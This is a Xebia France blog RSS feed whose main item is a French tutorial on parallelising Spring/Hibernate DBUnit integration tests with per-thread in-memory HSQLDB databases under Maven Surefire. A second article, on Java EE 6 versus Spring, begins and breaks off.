<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
xmlns:media="http://search.yahoo.com/mrss/"
> <channel><title>Blog Xebia France &#187; Spring</title> <atom:link href="http://blog.xebia.fr/tag/spring/feed/" rel="self" type="application/rss+xml" /><link>http://blog.xebia.fr</link> <description>J2EE, Agilité et SOA</description> <lastBuildDate>Wed, 08 Feb 2012 09:23:16 +0000</lastBuildDate> <language>fr</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=</generator> <copyright>CC BY-NC-ND 2.0 http://creativecommons.org/licenses/by-nc-nd/2.0/fr/</copyright> <managingEditor>blog-france@xebia.com (Xebia France)</managingEditor> <webMaster>blog-france@xebia.com (Xebia France)</webMaster> <ttl>1440</ttl> <image> <url>http://blog.xebia.fr/videos/xebia-podcast.png</url><title>Blog Xebia France</title><link>http://blog.xebia.fr</link> <width>144</width> <height>144</height> </image> <itunes:new-feed-url>http://blog.xebia.fr/feed/podcast/</itunes:new-feed-url> <itunes:subtitle>Les podcasts de Xebia France vous permettent de suivre l&#039;actualité autour de Java, de l&#039;agilité, des technologies Web et bien d&#039;autres. Xebia France est une entreprise spécialisée dans les technologies Java et JEE en environnement agi[...]</itunes:subtitle> <itunes:summary>Les podcasts de Xebia France vous permettent de suivre l&#039;actualité autour de Java, de l&#039;agilité, des technologies Web et bien d&#039;autres. Xebia France est une entreprise spécialisée dans les technologies Java et JEE en environnement agile.</itunes:summary> <itunes:keywords>Xebia, Java, JEE, SOA, Agile, Méthodes, Agiles</itunes:keywords> <itunes:category text="Technology" /> <itunes:category text="Technology"> <itunes:category text="Software How-To" /> </itunes:category> <itunes:category text="Technology"> <itunes:category text="Tech News" /> </itunes:category> <itunes:author>Xebia France</itunes:author> <itunes:owner> <itunes:name>Xebia France</itunes:name> <itunes:email>blog-france@xebia.com</itunes:email> </itunes:owner> <itunes:block>no</itunes:block> <itunes:explicit>no</itunes:explicit> <itunes:image href="http://blog.xebia.fr/videos/xebia-podcast.png" /> <item><title>Spring, Hibernate, DBUnit et Surefire &#8211; Parallélisez vos tests</title><link>http://blog.xebia.fr/2012/02/03/spring-hibernate-dbunit-et-surefire-parallelisez-vos-tests/</link> <comments>http://blog.xebia.fr/2012/02/03/spring-hibernate-dbunit-et-surefire-parallelisez-vos-tests/#comments</comments> <pubDate>Fri, 03 Feb 2012 06:17:38 +0000</pubDate> <dc:creator>Jean Helou</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Tests]]></category> <category><![CDATA[dbunit]]></category> <category><![CDATA[Hibernate]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[surefire]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=10527</guid> <description><![CDATA[Les DAO (Data Access Object) ou repository des applications contiennent souvent de l&#8217;information importante sur la façon dont les données d&#8217;une base doivent être consultées. Cette information prend la forme d&#8217;une logique métier qui est encodée dans un ou plusieurs langages, souvent un langage déclaratif (SQL, HSQL, JPQL, etc.) et un langage impératif (Java, Groovy, [...]]]></description> <content:encoded><![CDATA[<p>Les DAO (<a
href="http://java.sun.com/blueprints/corej2eepatterns/Patterns/DataAccessObject.html" rel="nofollow">Data Access Object</a>) ou <a
href="http://martinfowler.com/eaaCatalog/repository.html" rel="nofollow">repository </a> des applications contiennent souvent de l&#8217;information importante sur la façon dont les données d&#8217;une base doivent être consultées. Cette information prend la forme d&#8217;une logique métier qui est encodée dans un ou plusieurs langages, souvent un langage déclaratif (SQL, HSQL, JPQL, etc.) et un langage impératif (Java, Groovy, Scala, etc.).<br
/> Tester cette logique d&#8217;accès polyglotte peut s&#8217;avérer complexe et lent car ce type de test se prète mal aux techniques classiques de mock et nécessite plutôt l&#8217;écriture de tests d&#8217;intégration qui chargent une partie du contexte réel d&#8217;exécution. Par conséquent, les tests de cette couche sont parfois délaissés, voire abandonnés.</p><p>Cet article se propose de vous montrer comment réaliser de tels tests, avec un niveau d&#8217;isolation suffisant pour la parallélisation dans un processus multithread, tout en essayant de trouver le meilleur compromis avec le temps d&#8217;exécution de chaque test. Ces tests sont présentés dans une configuration très classique utilisant Spring et JPA/Hibernate.<br
/> L&#8217;implémentation utilise une base HSQLDB et quelques bibliothèques pour faciliter l&#8217;écriture du code, en essayant de rester aussi léger que possible. Les tests sont isolés pour que vous puissiez activer l&#8217;exécution parallèle du plugin Surefire de Maven au niveau des classes de test. Vous pourrez facilement dériver l&#8217;implémentation nécessaire à isoler vos tests au niveau des méthodes si vous le souhaitez.</p><h3><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-Introduction"></a>Introduction</h3><p>Un premier réflexe est de réaliser des tests contre une base de donnée existante. L&#8217;automatisation de ces tests  mène très rapidement à des problèmes de reproductibilité et d&#8217;isolation, en particulier quand les traitements testés effectuent des opérations d&#8217;écriture dans la base de données, mais également parce que la base utilisée est souvent une base de développement que les développeurs peuvent être amenés à faire évoluer de manière incontrôlée. La solution immédiate est de créer une copie du jeu de données initial et de le recharger dans la base avant chaque test. Cette problématique, et sa conséquence, la gestion des jeux de données ont amené la création d&#8217;outils tels que <a
href="http://www.dbunit.org/" rel="nofollow">DBUnit</a>.</p><p>L&#8217;utilisation d&#8217;une base de données centralisée, même si elle est spécifique aux tests, amène son propre lot de problèmes : que se passe-t-il si plusieurs développeurs jouent leurs tests en même temps ? Les uns vont insérer leur jeu de données pendant que les autres font une écriture ; les tests ne sont pas isolés. Il faut créer une base de données par développeur.</p><p>Deux options s&#8217;offrent alors, la première consiste à créer un schéma pour chacun sur le serveur. Cela amène des problèmes de latences réseaux, de charge du serveur et rend impossible le travail en cas de coupure du réseau. Il vaut mieux pencher pour la seconde option et créer une instance sur la machine de chaque développeur. Comme ce sont souvent des machines de bureautique avec des disques lents,   un SGBD complet qui n&#8217;est finalement presque pas utilisé et qui consomme de précieuses ressouces est mal venu, surtout lorsqu&#8217;il faut partager ces ressources avec un IDE, un serveur d&#8217;application, &#8230; Reste la possibilité d&#8217;utiliser une base de données embarquée comme HyperHSQL (HSQLDB), H2, Derby, etc. L&#8217;instance est créée par le processus du test et détruite lorsqu&#8217;il se termine. Il reste à y charger la structure des tables et le tour est joué.</p><p>Ces tests d&#8217;intégration joués séquentiellement peuvent encore s&#8217;avérer trop lent, surtout dans le cadre d&#8217;un <em>build</em> complet qui joue tous les tests. Il convient alors de les paralléliser.</p><h3><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-Structureduprojet"></a>Structure du projet</h3><p>Partons d&#8217;un projet classique utilisant Spring et JPA/Hibernate, packagé avec maven. La structure de projet prend la forme suivante :</p><p><span
style="display: block; text-align: center"><img
src="http://blog.xebia.fr/wp-content/uploads/2012/02/structure_projet.png" style="border: 0px solid black" /></span><br
/> Dans le dossier <em>main</em>, on retrouve les entités du modèle de données, les DAOs avec respectivement une interface et une implémentation et le descripteur de l&#8217;unité de persistance JPA.</p><p>Dans le dossier <em>test</em>, les tests des deux DAOs, les fichiers de configuration XML Spring, un fichier de propriétés pour hsqldb et les deux jeux de données pour les tests au format XML.</p><h3><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-Cr%C3%A9erlestestsavecspring%26dbunit"></a>Créer les tests avec spring &amp; dbunit</h3><h4><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-Lecoded%27untest"></a>Le code d&#8217;un test</h4><h5><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-AddressDaoTest.java"></a>AddressDaoTest.java</h5><pre class="brush: java; gutter: true; title: ; notranslate">
@RunWith(SpringJUnit4ClassRunner.class)
@ContextConfiguration({&quot;applicationContext-test.xml&quot;})
@TestExecutionListeners({DependencyInjectionTestExecutionListener.class,
                         DataSetTestExecutionListener.class})
@DataSet(value = &quot;AddressDaoTest.xml&quot;)
public class AddressDaoTest {
    @Autowired
    private AddressDao addressDao;
    @Test
    public void testFindByAddressname() {
        Address user = addressDao.findByAddress(&quot;a&quot;);
        assertNotNull(user);
    }
    @Test
    public void testFindByAbsentAddressname() {
        Address user = addressDao.findByAddress(&quot;c&quot;);
        assertNull(user);
    }
}
</pre><p>Ce test est exécuté avec <code>SpringJunit4ClassRunner</code> qui créé le contexte Spring avec les fichiers indiqués dans l&#8217;annotation <code>@ContextConfiguration</code> et le met en cache.</p><p>La mise en cache est un détail important pour l&#8217;exécution de plusieurs classes de tests. Si vous avez plusieurs classes de tests, déclarant exactement la même annotation <code>@ContextConfiguration</code> qui sont lancées dans un même processus, seule la première aura besoin d&#8217;initialiser le contexte Spring. Les suivantes pourront réutiliser le contexte économisant ainsi : le parsing de la configuration, le scan du classpath à la recherche d&#8217;annotations ainsi que les diverses phases d&#8217;initialisations des beans utilisés dans le contexte.</p><p>L&#8217;annotation <code>@TestExecutionListener</code> fournie par spring-test permet d&#8217;enregistrer des classes qui peuvent se brancher dans le cycle de vie d&#8217;exécution d&#8217;un test (before test class, before test method, &#8230;). L&#8217;utilité des listeners utilisés ici est précisée un peu plus bas.</p><h4><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-Laconfiguration"></a>La configuration</h4><p>Notre contexte de test contient les éléments standards d&#8217;un contexte Spring JPA/Hibernate mais quelques points méritent d&#8217;être notés pour que nous puissions revenir dessus.</p><h5><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-Lad%C3%A9clarationdeladatasourcehsqldb"></a>La déclaration de la datasource hsqldb</h5><pre class="brush: xml; gutter: true; title: ; notranslate">
&lt;bean id=&quot;dataSource&quot; class=&quot;org.springframework.jdbc.datasource.DriverManagerDataSource&quot;&gt;
    &lt;property name=&quot;driverClassName&quot; value=&quot;${ds.driver=org.hsqldb.jdbcDriver}&quot;/&gt;
    &lt;property name=&quot;url&quot; value=&quot;${ds.url=jdbc:hsqldb:mem:test}&quot;/&gt;
    &lt;property name=&quot;username&quot; value=&quot;${ds.username=sa}&quot;/&gt;
    &lt;property name=&quot;password&quot; value=&quot;${ds.password=}&quot;/&gt;
&lt;/bean&gt;
</pre><h5><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-Lad%C3%A9clarationdelafactoryJPA%2FHibernate"></a>La déclaration de la factory JPA/Hibernate</h5><pre class="brush: xml; gutter: true; title: ; notranslate">
&lt;bean id=&quot;jpaVendorAdapter&quot; class=&quot;org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter&quot;&gt;
    &lt;property name=&quot;databasePlatform&quot; value=&quot;${hibernate.dialect}&lt;&quot;/&gt;
&lt;/bean&gt;
&lt;bean id=&quot;emf&quot; class=&quot;org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean&quot;&gt;
    &lt;property name=&quot;dataSource&quot; ref=&quot;dataSource&quot;/&gt;
    &lt;property name=&quot;persistenceUnitName&quot; value=&quot;pdbunit&quot;/&gt;
    &lt;property name=&quot;jpaVendorAdapter&quot; ref=&quot;jpaVendorAdapter&quot;/&gt;
    &lt;property name=&quot;jpaProperties&quot;&gt;
        &lt;props&gt;
            &lt;prop key=&quot;hibernate.dialect&quot;&gt;${hibernate.dialect}&lt;/prop&gt;
            &lt;prop key=&quot;hibernate.hbm2ddl.auto&quot;&gt;${hibernate.hbm2ddl.auto=update}&lt;/prop&gt;
        &lt;/props&gt;
    &lt;/property&gt;
&lt;/bean&gt;
</pre><h4><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-Leslisteners"></a>Les listeners</h4><h5><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-DependencyInjectionTestExecutionListener"></a>DependencyInjectionTestExecutionListener</h5><p>L&#8217;utilisation de ce listener défini par l&#8217;API <a
href="http://static.springsource.org/spring/docs/current/spring-framework-reference/html/testing.html" rel="nofollow">spring-test</a> permet simplement d&#8217;utiliser les annotations d&#8217;injection de dépendance (<code>@Autowired</code>,<code>@Resource</code>,&#8230;) sur des éléments de la classe de test. Ainsi, dans le test de DAO vu précédemment l&#8217;instance du DAO sera injectée avant l&#8217;exécution du test.</p><h5><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-DataSetTestExecutionListener"></a>DataSetTestExecutionListener</h5><p>Ce listener est défini dans l&#8217;API <a
href="https://github.com/excilys/spring-dbunit" rel="nofollow">spring-dbunit</a> et permet l&#8217;utilisation de l&#8217;annotation <code>@Dataset</code> sur une classe ou sur une méthode de test.</p><p>Cette annotation utilise <a
href="http://www.dbunit.org/" rel="nofollow">dbunit</a> pour charger un jeu de données avant chaque test et pour le supprimer après chaque test.</p><p>Par défaut, cette annotation cherche un fichier nommé dataSet.xml dans le même package que la classe de test qui porte l&#8217;annotation. Il est possible de changer le nom du fichier, d&#8217;en charger plusieurs, bref de choisir son jeu de données.</p><h4><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-Unpremierpalier"></a>Un premier palier</h4><p>À ce stade, nous avons donc des tests qui chargent leur jeu de données dans une base mémoire avant de s&#8217;exécuter. Isolés du monde extérieur ils ne risquent pas d&#8217;échouer à cause d&#8217;un changement involontaire par une autre personne, d&#8217;une perte de connexion réseau ou d&#8217;une autre exécution de la suite de test par un second développeur.</p><h3><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-Parall%C3%A8liserlestestsdansmaven"></a>Parallèliser les tests dans maven</h3><p>En l&#8217;état actuel, les tests ne peuvent pas être exécutés en multi-thread au sein d&#8217;un même processus, ce que sait faire le plugin surefire de maven en charge de l&#8217;exécution des tests. Unitairement rapides, la contrainte de les exécuter en séquentiel empêche de profiter pleinement des processeurs multi-cores des ordinateurs modernes. Les tests ne sont utiles que si ils sont exécutés et ils ne sont exécutés que si ils sont suffisamment rapides.</p><h4><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-Unebasededonn%C3%A9eparthread"></a>Une base de donnée par thread</h4><p>Ce qui fait échouer l&#8217;exécution en mode multi-thread, ce sont les collisions entre les différents jeux de données manipulés par dbunit (deux jeux de données chargés en même temps peuvent modifier le résultat de certaines requêtes), sans compter les opérations d&#8217;écritures potentielles des traitements testés. Il faudrait que chaque test dispose de sa propre base de donnée.</p><h5><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-ThreadUniqueDriverManagerDataSource"></a>ThreadUniqueDriverManagerDataSource</h5><pre class="brush: java; gutter: true; title: ; notranslate">
public class ThreadUniqueDriverManagerDataSource extends
  DriverManagerDataSource {
 @Override
 public String getUrl() {
  long tId = Thread.currentThread().getId();
  return super.getUrl() + tId;
 }
}
</pre><p>En utilisant cette surcharge de DriverManagerDataSource comme classe d&#8217;implémentation pour votre dataSource, chaque thread accédera à sa propre base de données mémoire.</p><pre class="brush: xml; gutter: true; title: ; notranslate">
&lt;bean id=&quot;dataSource&quot; class=&quot;fr.xebia.jdbc.datasource.ThreadUniqueDriverManagerDataSource&quot;&gt;
    &lt;property name=&quot;driverClassName&quot; value=&quot;${ds.driver=org.hsqldb.jdbcDriver}&quot;/&gt;
    &lt;property name=&quot;url&quot; value=&quot;${ds.url=jdbc:hsqldb:mem:test}&quot;/&gt;
    &lt;property name=&quot;username&quot; value=&quot;${ds.username=sa}&quot;/&gt;
    &lt;property name=&quot;password&quot; value=&quot;${ds.password=}&quot;/&gt;
&lt;/bean&gt;
</pre><p>Il reste un problème: le contexte Spring n&#8217;est chargé et initialisé qu&#8217;une seule fois, par conséquent Hibernate ne créé la structure des tables qu&#8217;une seule fois. Si nous tentions d&#8217;exécuter nos tests, le &laquo;&nbsp;premier&nbsp;&raquo; &#8211; celui dans lequel le contexte Spring est initialisé &#8211; réussirait. Les autres échoueraient en se plaignant que les tables nécessaires à l&#8217;insertion de leur jeu de données n&#8217;existent pas.</p><p>Il est possible de forcer le runner de Spring à réinitialiser un contexte pour chaque classe de test, mais cette initialisation est coûteuse et tout ce dont nous avons besoin est de créer les tables dans la base de données, tout le reste fonctionne très bien sans réinitialisation.</p><h4><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-Recr%C3%A9erlastructuredelabasededonn%C3%A9esdanschaquethread."></a>Recréer la structure de la base de données dans chaque thread.</h4><p>Sachant que les listeners de test sont exécutés dans l&#8217;ordre de leur déclaration, il nous faut donc un listener qui soit exécuté après la création du contexte mais avant le chargement des données et qui se charge de recréer la structure. Nous avons déjà du code capable de recréer la structure dans Hibernate, il faut donc l&#8217;exécuter à nouveau pour chaque nouvelle base. La dernière donnée est le niveau de parallélisation, le maven-surefire-plugin est capable de paralléliser aux niveaux :  &laquo;&nbsp;classes&nbsp;&raquo;, &laquo;&nbsp;methods&nbsp;&raquo;, &laquo;&nbsp;both&nbsp;&raquo;. Il faudra adapter le listener en fonction du niveau choisi.</p><p>Dans la suite nous allons chercher à exécuter le code parallélisé au niveau &laquo;&nbsp;classes&nbsp;&raquo;, notre TestListener peut donc s&#8217;exécuter &laquo;&nbsp;beforeTestClass&nbsp;&raquo;.</p><h5><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-JpaHibernateDbSetupTestListener"></a>JpaHibernateDbSetupTestListener</h5><p>Le code du listener suivant est lié à l&#8217;utilisation JPA/Hibernate. Il ne devrait pas être très difficile de dériver un listener pour d&#8217;autres solutions de persistance, du moment que l&#8217;on sait créer la structure de la base de données.</p><pre class="brush: java; gutter: true; title: ; notranslate">
public class JpaHibernateDbSetupTestListener extends AbstractTestExecutionListener {
    @Override
    public void beforeTestClass(TestContext testContext) throws Exception {
        super.beforeTestMethod(testContext);
        Map&lt;String, EntityManagerFactoryInfo&gt; emfsMap = testContext.getApplicationContext().getBeansOfType(
                EntityManagerFactoryInfo.class);
        for (Map.Entry&lt;String, EntityManagerFactoryInfo&gt; emfByName : emfsMap.entrySet()) {
            EntityManagerFactoryInfo entityManagerFactoryInfo = emfByName.getValue();
            String puName = entityManagerFactoryInfo.getPersistenceUnitInfo().getPersistenceUnitName();
            HibernatePersistenceCacheUnit persistenceInformation = HibernatePersistenceCache.getPersistenceInformation(puName);
            SchemaExport schemaExport = new SchemaExport(persistenceInformation.getHibernateConfiguration(),
                    persistenceInformation.getSettings());
            schemaExport.execute(false, true, false, false);
        }
    }
}
</pre><p>Cette implémentation nécessite des modifications supplémentaires à notre environnement de test. Elle repose sur la présence d&#8217;un cache des informations de persistance (<code>HibernatePersistenceCache</code>) dans lequel sont stockées les informations nécessaires à la recréation du SchemaExport.</p><p>Les informations de configuration manipulées par SchemaExport ne sont normalement pas accessibles une fois l&#8217;initialisation d&#8217;Hibernate terminée. Il faut donc les capturer lors de l&#8217;initialisation et les ajouter au cache. Pour cela nous allons devoir remplacer l&#8217;adaptateur Spring <code>org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter</code> par une implémentation maison.</p><pre class="brush: java; gutter: true; title: ; notranslate">
public class HibernateJpaVendorParallelAdapter extends HibernateJpaVendorAdapter {
  private final PersistenceProvider persistenceProvider = new CachingHibernatePersistence();
  @Override
  public PersistenceProvider getPersistenceProvider() {
    return this.persistenceProvider;
  }
}
</pre><p>Le remplacement se fait dans le fichier de définition du contexte Spring, ce qui explique l&#8217;externalisation de la définition du jpaVendorAdapter :</p><pre class="brush: xml; gutter: true; title: ; notranslate">
&lt;bean id=&quot;jpaVendorAdapter&quot; class=&quot;fr.xebia.test.utils.parallel.jpa.hibernate.HibernateJpaVendorParallelAdapter&quot;&gt;
        &lt;property name=&quot;databasePlatform&quot; value=&quot;org.hibernate.dialect.Oracle10gDialect&quot;/&gt;
&lt;/bean&gt;
</pre><p>La capture des informations de configuration peut alors se faire dans <code>CachingHibernatePersistence</code> :</p><pre class="brush: java; gutter: true; title: ; notranslate">
public class CachingHibernatePersistence extends HibernatePersistence {
  @Override
  public EntityManagerFactory createEntityManagerFactory(String persistenceUnitName, Map overridenProperties) {
    Ejb3Configuration cfg = new Ejb3Configuration();
    Ejb3Configuration configured = cfg.configure(persistenceUnitName, overridenProperties);
    cacheConfig(persistenceUnitName, null, overridenProperties, configured);
    return configured != null ? configured.buildEntityManagerFactory() : null;
  }
  @Override
  public EntityManagerFactory createContainerEntityManagerFactory(PersistenceUnitInfo info, Map map) {
    Ejb3Configuration cfg = new Ejb3Configuration();
    Ejb3Configuration configured = cfg.configure(info, map);
    cacheConfig(info.getPersistenceUnitName(),info, map, configured);
    return configured != null ? configured.buildEntityManagerFactory() : null;
  }
  private void cacheConfig(String name, PersistenceUnitInfo info, Map map, Ejb3Configuration configured) {
    if (configured != null) {
      HibernatePersistenceCacheUnit cachedInfo = new HibernatePersistenceCacheUnit(name);
      cachedInfo.setPersistenceUnitInfo(info);
      cachedInfo.setPropertyMap(map);
      cachedInfo.setHibernateConfiguration(configured.getHibernateConfiguration());
      cachedInfo.setSettings(configured.buildSettings());
      HibernatePersistenceCache.addPersistenceInformation(cachedInfo);
    }
  }
}
</pre><p>HibernatePersistenceCacheUnit est un simple conteneur pour les données qui nous intéressent :</p><pre class="brush: java; gutter: true; title: ; notranslate">
public class HibernatePersistenceCacheUnit {
    private final String name;
    private PersistenceUnitInfo persistenceUnitInfo;
    private Map&lt;String, Object&gt; propertyMap;
    private Configuration hibernateConfiguration;
    private Settings settings;
    private SessionFactory sessionFactory;
    //...
}
</pre><p>et enfin le cache lui-même est une implémentation basique utilisant une simple HashMap :</p><pre class="brush: java; gutter: true; title: ; notranslate">
public class HibernatePersistenceCache {
  private static final Map&lt;String, HibernatePersistenceCacheUnit&gt; persistenceInformationMap = new HashMap&lt;String, HibernatePersistenceCacheUnit&gt;();
  public static void addPersistenceInformation(HibernatePersistenceCacheUnit persistenceInformation) {
    assert(persistenceInformation != null);
    assert(persistenceInformation.getName() != null);
    persistenceInformationMap.put(persistenceInformation.getName(), persistenceInformation);
  }
  public static List&lt;HibernatePersistenceCacheUnit&gt; getPersistenceInformations() {
    return new ArrayList&lt;HibernatePersistenceCacheUnit&gt;(persistenceInformationMap.values());
  }
  public static void clearPersistenceInformations() {
    persistenceInformationMap.clear();
  }
  public static HibernatePersistenceCacheUnit getPersistenceInformation(String name) {
    return persistenceInformationMap.get(name);
  }
}
</pre><p>Il ne reste plus qu&#8217;à déclarer le listener au bon endroit dans le test :</p><pre class="brush: java; gutter: true; title: ; notranslate">
@RunWith(SpringJUnit4ClassRunner.class)
@ContextConfiguration({&quot;applicationContext-test.xml&quot;})
@TestExecutionListeners({DependencyInjectionTestExecutionListener.class, JpaHibernateDbSetupTestListener.class, DataSetTestExecutionListener.class})
@DataSet(value = &quot;AddressDaoTest.xml&quot;)
public class AddressDaoTest {
    @Autowired
    private AddressDao addressDao;
    @Test
    public void testFindByAddressname() {
        Address user = addressDao.findByAddress(&quot;a&quot;);
        assertNotNull(user);
    }
    @Test
    public void testFindByAbsentAddressname() {
        Address user = addressDao.findByAddress(&quot;c&quot;);
        assertNull(user);
    }
}
</pre><p>et à activer la parallélisation des tests lors de l&#8217;exécution du plugin surefire</p><pre class="brush: xml; gutter: true; title: ; notranslate">
&lt;plugin&gt;
    &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;
    &lt;artifactId&gt;maven-surefire-plugin&lt;/artifactId&gt;
    &lt;version&gt;2.11&lt;/version&gt;
    &lt;configuration&gt;
        &lt;parallel&gt;classes&lt;/parallel&gt;
    &lt;/configuration&gt;
&lt;/plugin&gt;
</pre><p>Vos tests sont maintenant suffisament isolés pour que surefire puisse exécuter vos classes de tests en multi-thread.</p><h5><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-Autrespistesdelisteners"></a>Autres pistes de listeners</h5><p>Il existe plusieurs moyens de résoudre le problème du rechargement de la structure de la base de données dans les bases créées en mémoire. Si vous disposez d&#8217;un outil de migration comme <a
href="http://code.google.com/p/flyway/">flyway</a>, ou que votre équipe garde scrupuleusement à jour un fichier avec la totalité de la structure de données de la base, vous pouvez créer votre propre listener pour charger la base à partir de cette référence. Vous pouvez également initialiser une base de données fichier plutôt que mémoire et en créer des copies qui seront utilisées par les différents Threads.</p><h3><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-Desbasesdedonn%C3%A9esetdesdialectes"></a>Des bases de données et des dialectes</h3><p>Utiliser une base de donnée mémoire n&#8217;est pas complètement anodin. Chaque SGBD parle son propre &#8216;dialecte&#8217; de SQL, souvent un sous-ensemble auquel peut s&#8217;ajouter des extensions spécifiques de l&#8217;éditeur.<br
/> L&#8217;idée dans cet article est de maximiser les gains obtenus en testant les commandes SQL qui sont partagées entre votre SGBD de production et la base mémoire utilisée. L&#8217;utilisation de moteurs ORM comme Hibernate tends à normaliser le sous-ensemble de commandes utilisées, ce qui facilite la compatibilité pour la plupart des requêtes. Il peut néanmoins être nécessaire d&#8217;utiliser des requêtes natives pour certaines optimisations ou pour certains cas d&#8217;utilisation spécifiques. Même comme ça, les cas d&#8217;incompatibilités peuvent être réduit par l&#8217;utilisation d&#8217;une base mémoire adaptée. Recherchez la base mémoire qui a un dialecte aussi proche que possible de celui de votre moteur de production pour pouvoir tester autant de requêtes que possible.</p><p>Le code qui malgré tout restera incompatible pourra être testé dans le cadre de tests d&#8217;acceptation sur un environnement complet. Respectez la <a
href="http://fr.wikipedia.org/wiki/Loi_de_Pareto" rel="nofollow">loi de Pareto</a> en dépensant 20% d&#8217;effort pour 80% des gains, et ne modifiez pas une requête optimisée pour votre moteur de production juste pour pouvoir la tester dans un moteur de test.</p><h3><a
name="Spring%2CHibernate%2CDBUnitetSurefire-Parall%C3%A9lisezvostests-Codedel%27article"></a>Code de l&#8217;article</h3><p>Vous retrouverez sur github</p><ul><li>le <a
href="https://github.com/jeantil/spring-dbunit-utils-demo/" rel="nofollow">projet de démo</a> qui a servi de base au code de l&#8217;article</li><li>un <a
href="https://github.com/jeantil/spring-dbunit-utils" rel="nofollow">projet</a> contenant l&#8217;implémentation du listener et du cache sous forme de librairie maven.</li></ul> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2012/02/03/spring-hibernate-dbunit-et-surefire-parallelisez-vos-tests/feed/</wfw:commentRss> <slash:comments>5</slash:comments> </item> <item><title>Java EE 6, une plateforme simple et légère. Spring n’a qu’à bien se tenir !</title><link>http://blog.xebia.fr/2012/02/01/java-ee-6-une-plateforme-simple-et-legere-spring-na-qua-bien-se-tenir/</link> <comments>http://blog.xebia.fr/2012/02/01/java-ee-6-une-plateforme-simple-et-legere-spring-na-qua-bien-se-tenir/#comments</comments> <pubDate>Wed, 01 Feb 2012 04:20:00 +0000</pubDate> <dc:creator>Romain Schlick</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[CDI]]></category> <category><![CDATA[DeltaSpike]]></category> <category><![CDATA[EJB]]></category> <category><![CDATA[Java EE 6]]></category> <category><![CDATA[JSF]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Weld]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=10500</guid> <description><![CDATA[La plateforme Java EE conserve de nos jours encore une mauvaise réputation. Les fameux EJB 2 et conteneurs lourds démarrant en plusieurs minutes vous rappelleront quelques bons souvenirs. L&#8217;arrivée de Spring a ouvert la voie aux conteneurs légers, à l&#8217;inversion de contrôle, ou encore à l&#8217;injection de dépendances; et est devenue la solution de référence. [...]]]></description> <content:encoded><![CDATA[<p>La plateforme Java EE conserve de nos jours encore une mauvaise réputation. Les fameux EJB 2 et conteneurs lourds démarrant en plusieurs minutes vous rappelleront quelques bons souvenirs. L&#8217;arrivée de Spring a ouvert la voie aux conteneurs légers, à l&#8217;inversion de contrôle, ou encore à l&#8217;injection de dépendances; et est devenue la solution de référence. Cependant, la plateforme Java EE a beaucoup évolué entre temps.</p><p>Nous allons voir que Java EE 6 n&#8217;a maintenant rien à envier à Spring. Cette plateforme est devenue légère et simple à prendre en main. Toutes les spécifications ne seront pas abordées en détails.  Nous parlerons plutôt de conteneurs légers et testables, de managed beans, d&#8217;EJB Lite, ainsi que des nombreux services et patterns offert par la plateforme.  Nous terminerons par la spécification CDI et ses extensions portables, qui offrent de belles perspectives à la plateforme Java EE 6.</p><h3><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-Spring%2Cc%E2%80%99estquandm%C3%AAmebienchouette%5C%21"></a>Spring, c’est quand même bien chouette!</h3><p>Spring, Spring, Spring&#8230; Oui, <a
href="http://www.springsource.org/get-started" rel="nofollow">Spring</a> est un outil qui a révolutionné nos vies de développeurs et qui s’est très rapidement installé chez nos clients. Il a apporté avec lui des paradigmes de programmation comme l’IOC (<a
href="http://fr.wikipedia.org/wiki/Inversion_de_contr%C3%B4le" rel="nofollow">Inversion Of Control</a>),  la DI (<a
